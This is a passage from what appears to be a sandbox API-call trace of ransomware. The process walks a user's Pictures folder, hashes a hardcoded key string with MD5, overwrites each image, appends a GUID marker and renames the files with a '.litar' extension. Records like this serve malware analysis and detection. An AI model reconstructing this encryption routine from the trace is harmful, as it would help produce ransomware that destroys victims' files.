lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.166] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.166] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\") returned="OSKgyoas7znhFe\\" [0126.166] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.166] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.166] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.166] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.166] PathFindFileNameW (pszPath="") returned="" [0126.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c21f90, ftCreationTime.dwHighDateTime=0x1d4cbc8, ftLastAccessTime.dwLowDateTime=0xd2f05d40, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xd2f05d40, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.167] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c21f90, ftCreationTime.dwHighDateTime=0x1d4cbc8, ftLastAccessTime.dwLowDateTime=0xd2f05d40, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xd2f05d40, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.167] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb01030, ftCreationTime.dwHighDateTime=0x1d4d45b, ftLastAccessTime.dwLowDateTime=0x95152940, ftLastAccessTime.dwHighDateTime=0x1d4d30b, ftLastWriteTime.dwLowDateTime=0x95152940, ftLastWriteTime.dwHighDateTime=0x1d4d30b, nFileSizeHigh=0x0, nFileSizeLow=0xec99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3J2ydx.jpg", cAlternateFileName="")) returned 1 [0126.167] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3J2ydx.jpg") returned=".jpg" [0126.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3J2ydx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\3j2ydx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.167] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=60569) returned 1 [0126.167] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.169] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xec73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.169] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.171] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xec99, lpOverlapped=0x0) returned 1 [0126.172] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.172] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.172] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.172] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.173] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.173] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.173] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.173] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.173] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.173] GetLastError () returned 0x0 [0126.173] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.173] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.173] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.173] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xeca0) returned 0x30fa0b0 [0126.173] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.173] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.173] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xec94, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xec94, lpOverlapped=0x0) returned 1 [0126.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.174] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xec99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.174] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.174] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.174] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.174] CloseHandle (hObject=0x624) returned 1 [0126.175] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.175] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.175] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3J2ydx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\3j2ydx.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3J2ydx.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\3j2ydx.jpg.litar")) returned 1 [0126.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.176] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.177] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ebc1c0, ftCreationTime.dwHighDateTime=0x1d4d1cc, ftLastAccessTime.dwLowDateTime=0x43893410, ftLastAccessTime.dwHighDateTime=0x1d4cd50, ftLastWriteTime.dwLowDateTime=0x43893410, ftLastWriteTime.dwHighDateTime=0x1d4cd50, nFileSizeHigh=0x0, nFileSizeLow=0x13ff6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3uz9sjygz2I9u-5T7p.png", cAlternateFileName="3UZ9SJ~1.PNG")) returned 1 [0126.177] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.177] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.177] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3uz9sjygz2I9u-5T7p.png") returned=".png" [0126.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3uz9sjygz2I9u-5T7p.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\3uz9sjygz2i9u-5t7p.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.178] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=81910) returned 1 [0126.178] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.179] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13fd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.179] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.181] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.181] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.181] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13ff6, lpOverlapped=0x0) returned 1 [0126.182] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.182] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.182] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.182] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.182] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.183] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.183] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.183] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.183] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.183] GetLastError () returned 0x0 [0126.183] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.183] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14000) returned 0x30fa0b0 [0126.184] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.184] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13ff1, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13ff1, lpOverlapped=0x0) returned 1 [0126.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.184] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13ff6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.184] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.185] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.185] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.185] CloseHandle (hObject=0x624) returned 1 [0126.186] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.186] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.186] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3uz9sjygz2I9u-5T7p.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\3uz9sjygz2i9u-5t7p.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\3uz9sjygz2I9u-5T7p.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\3uz9sjygz2i9u-5t7p.png.litar")) returned 1 [0126.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.186] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.187] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c87ebc0, ftCreationTime.dwHighDateTime=0x1d4cbf1, ftLastAccessTime.dwLowDateTime=0xb67fce0, ftLastAccessTime.dwHighDateTime=0x1d4c5af, ftLastWriteTime.dwLowDateTime=0xb67fce0, ftLastWriteTime.dwHighDateTime=0x1d4c5af, nFileSizeHigh=0x0, nFileSizeLow=0x62d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dbSz.png", cAlternateFileName="")) returned 1 [0126.187] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.187] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\dbSz.png") returned=".png" [0126.188] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\dbSz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\dbsz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.188] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=25297) returned 1 [0126.188] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.190] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x62ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.190] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.191] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.191] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x62d1, lpOverlapped=0x0) returned 1 [0126.192] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.192] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.192] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.192] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.193] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.193] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.193] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.193] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.193] GetLastError () returned 0x0 [0126.193] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.193] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x62d0) returned 0x30fa0b0 [0126.193] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.193] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x62cc, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x62cc, lpOverlapped=0x0) returned 1 [0126.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.193] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x62d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.194] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.194] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.194] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.194] CloseHandle (hObject=0x624) returned 1 [0126.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.195] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\dbSz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\dbsz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\dbSz.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\dbsz.png.litar")) returned 1 [0126.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.195] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.196] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7cf5ae0, ftCreationTime.dwHighDateTime=0x1d4ccb5, ftLastAccessTime.dwLowDateTime=0xbe266850, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0xbe266850, ftLastWriteTime.dwHighDateTime=0x1d4d38b, nFileSizeHigh=0x0, nFileSizeLow=0x720f, dwReserved0=0xa0000003, 